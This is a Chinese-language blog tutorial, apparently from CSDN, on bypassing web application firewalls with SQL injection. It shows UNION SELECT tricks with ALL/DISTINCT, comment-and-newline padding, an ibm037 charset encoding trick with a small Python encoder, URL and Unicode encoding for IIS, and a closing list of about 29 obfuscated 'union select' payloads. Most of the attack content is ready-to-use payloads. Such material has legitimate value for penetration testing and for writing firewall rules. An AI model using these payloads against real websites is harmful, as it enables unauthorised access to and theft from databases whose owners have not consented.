• SQL 注入绕过(六)


    一、使用 ALL 或者 DISTINCT 绕过

    去掉重复值:
    select 1,2 from users where user_id=1 union DISTINCT select 1,2;
    select 1,2 from users where user_id=1 union select DISTINCT 1,2;
    显示全部:
    select 1,2 from users where user_id=1 union all select 1,2;
    select 1,2 from users where user_id=1 union select all 1,2;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述

    二、换行混绕绕过

    目前很多 waf 都会对 union select 进行过滤的,因为使用联合查询这两个关键词是必须的,一般过滤这个两个字符,想用联合查询就很
    难了。可以使用换行,加上一些注释符进行绕过。
    
    • 1
    • 2

    1、抓包

    在这里插入图片描述

    2、修改参数

    id=-1 
    /*
    aogja
    gaogjaohoah
    gjaogja
    */
    union select 1,user()-- &submit=1
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述
    在这里插入图片描述

    三、HTTP 数据编码绕过

    1、原理介绍

    编码绕过,在绕 waf 中也是经常遇到的,通常 waf 只坚持他所识别的编码,比如说它只识别 utf-8 的字符,但是服务器可以识别比 
    utf-8 更多的编码。
    那么我们只需要将 payload 按照 waf 识别不了但服务器可以解析识别的编码格式,即可绕过。
    比如请求包中我们可以更改Content-Type中的charset的参数值,我们改为ibm037这个协议编码,有些服务器是支持的。payload 改成
    这个协议格式就行了。
    
    Content-Type: application/x-www-form-urlencoded; charset=ibm037
    
    脚本:
    import urllib.parse
    s = 'id=-1 union select 1,user()-- &submit=1'
    ens=urllib.parse.quote(s.encode('ibm037'))
    print(ens)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    在这里插入图片描述

    四、 url 编码绕过

    在 iis 里会自动把 url 编码转换成字符串传到程序中执行。例如 union select 可以转换成 u%6eion s%65lect
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

    五、Unicode 编码绕过

    形式:“\u”或者是“%u”加上 416 进制 Unicode 码值。
    iis 会自动进行识别这种编码,有部分 waf 并不会拦截这这种编码。
    
    • 1
    • 2

    在这里插入图片描述

    六、union select绕过

    目前不少 waf 都会使用都会对 union select 进行拦截,单个不拦截,一起就进行拦截。
    
    sel<>ect 程序过滤<>为空 脚本处理
    sele/**/ct 程序过滤/**/为空
    /*!%53eLEct*/ url 编码与内联注释
    se%0blect 使用空格绕过
    sele%ct 使用百分号绕过
    %53eLEct 编码绕过
    大小写
    uNIoN sELecT 1,2
    union all select 1,2
    union DISTINCT select 1,2
    null+UNION+SELECT+1,2
    /*!union*//*!select*/1,2
    union/**/select/**/1,2
    and(select 1)=(Select 0xA*1000)/*!uNIOn*//*!SeLECt*/ 1,user()
    /*!50000union*//*!50000select*/1,2
    /*!40000union*//*!40000select*/1,2
    %0aunion%0aselect 1,2
    %250aunion%250aselect 1,2
    %09union%09select 1,2
    %0caunion%0cselect 1,2
    %0daunion%0dselect 1,2
    %0baunion%0bselect 1,2
    %0d%0aunion%0d%0aselect 1,2
    --+%0d%0aunion--+%0d%0aselect--+%0d%0a1,--+%0d%0a2
    /*!12345union*//*!12345select*/1,2;
    /*中文*/union/*中文*/select/*中文*/1,2;
    /*!union*//*!00000all*//*!00000select*/1,2;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
  • 相关阅读:
    进程角度和内核角度看进程运行
    HT for Web (Hightopo) 使用心得(7)- 3D场景环境配置(阴影,灯光,环境光)
    基于SpringBoot的大学城水电管理系统
    MyBatis的TypeAliasRegistry
    【AcWing】3449. 数字根 (数论思维、模拟)
    idea中还原dont ask again
    贪心算法(基础题)
    二叉树中查找后继节点问题
    Oracle数据库:自然连接natural join,using语句,注意避免写交叉连接
    《Java并发编程的艺术》总结
  • 原文地址:https://blog.csdn.net/weixin_51730169/article/details/125496226